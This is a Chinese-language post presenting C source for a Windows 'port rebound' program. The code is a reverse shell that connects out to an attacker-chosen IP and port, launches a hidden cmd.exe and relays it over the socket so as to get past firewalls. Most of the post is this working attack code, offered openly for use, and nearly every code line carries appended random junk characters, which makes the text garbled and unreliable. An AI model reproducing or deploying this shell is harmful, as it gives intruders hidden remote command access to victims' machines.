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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 [mm5?23g  
%bAv.'C  
/* ============================== 'b-}KDP  
Rebound port in Windows NT n7 S[ F3  
By wind,2006/7 3V-pLs|  
===============================*/ $I_aHhKt  
#include 0j*8|{|  
#include WPPmh~:  
6s6[sUf=l&  
#pragma comment(lib,"wsock32.lib") qLR)>$  
Agl[Z>Q  
void OutputShell(); zEu*q7  
SOCKET sClient; 4FYws5]$  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; NEX\+dtE~0  
]1klfp,`  
void main(int argc,char **argv) Ij" `pdp  
{ ~($h9* \  
WSADATA stWsaData; 6`4=!ZfI  
int nRet; j}y"  
SOCKADDR_IN stSaiClient,stSaiServer; V< J~:b1V  
)#1@@\< ^T  
if(argc != 3) }%%| '8  
{ lOVsp#  
printf("Useage:\n\rRebound DestIP DestPort\n"); rwU[dqBRhc  
return; =!Ok079{[  
} U5" C"+ 3  
/ JlUqC  
WSAStartup(MAKEWORD(2,2),&stWsaData); =|H/[",gg  
$} ~:x_[  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); |W?x6]~.R  
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stSaiClient.sin_family = AF_INET; !?]NMf_  
stSaiClient.sin_port = htons(0); E}~ GXG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); LdA&F& pI  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) `*WR[c  
{ GR/ p%Y(  
printf("Bind Socket Failed!\n"); O4 [[9  
return; 9Czc$fSSt  
} s I#K01;"  
cBU>/ zIp  
stSaiServer.sin_family = AF_INET; ucyxvhH^-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0rF{"HM~  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); x6m21DWw  
/KH3v!G0  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) syMB~g  
{ 9kTU|py  
printf("Connect Error!"); !}U&%2<69  
return; Fe8xOo6  
} H$Q_K<V  
OutputShell(); !uHX2B+~  
} &Jq?tnNd  
oveW)~4  
void OutputShell() 7GpSWM6  
{ o: qB#8X  
char szBuff[1024]; \T>f+0=4  
SECURITY_ATTRIBUTES stSecurityAttributes; \!`*F :7]-  
OSVERSIONINFO stOsversionInfo; gJ:Z7b  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; jytfGE:  
STARTUPINFO stStartupInfo; \ 3ha  
char *szShell; k}~|jLu@g  
PROCESS_INFORMATION stProcessInformation; f~9ADb  
unsigned long lBytesRead; H;|^z@RB<  
$kg!XT{ V  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); O]`CSTv'_  
fZ$8PMZv  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); F8.Fp[_tM  
stSecurityAttributes.lpSecurityDescriptor = 0; N_h)L`  
stSecurityAttributes.bInheritHandle = TRUE; 2UA h^i-^  
BoXQBcG]w  
ur"cku G!9  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); nx8 4l7<  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); YEQ}<\B\&  
3}2'PC  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); y1B3F5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; J1hc :I<;  
stStartupInfo.wShowWindow = SW_HIDE; *o`bBdZ  
stStartupInfo.hStdInput = hReadPipe; Jk 0 ;<2j  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; u<:R Sg  
"4zTP!Ow  
GetVersionEx(&stOsversionInfo); }"E?#&^  
!Hxx6/  
switch(stOsversionInfo.dwPlatformId) t /1KKEZM  
{ }hhDJ_I5M  
case 1: :voQ#f=  
szShell = "command.com"; Sm{idky)[  
break; ["kk.*&  
default: uv eTx  
szShell = "cmd.exe"; AKejWh  
break; {O[a +r.n  
} FlttqQQdf  
/V^Gn;  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >XM-xK-=  
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send(sClient,szMsg,77,0); ^3^n|T7le  
while(1) "oz qfh  
{ c\065#f!  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); >iDV8y  
if(lBytesRead) `a*[@a#  
{ $b QD{ {  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); S)T~vK(n  
send(sClient,szBuff,lBytesRead,0); M|w;7P}  
} (3C::B=  
else |L 11?{ K  
{ nRzD[ 3I  
lBytesRead=recv(sClient,szBuff,1024,0); %A|9=x*  
if(lBytesRead<=0) break; Usx8  U  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); N`h,2!(j  
}  olB?"M=H  
} . K s%ar  
L'iENZ I$  
return; Gb4k5jl  
}
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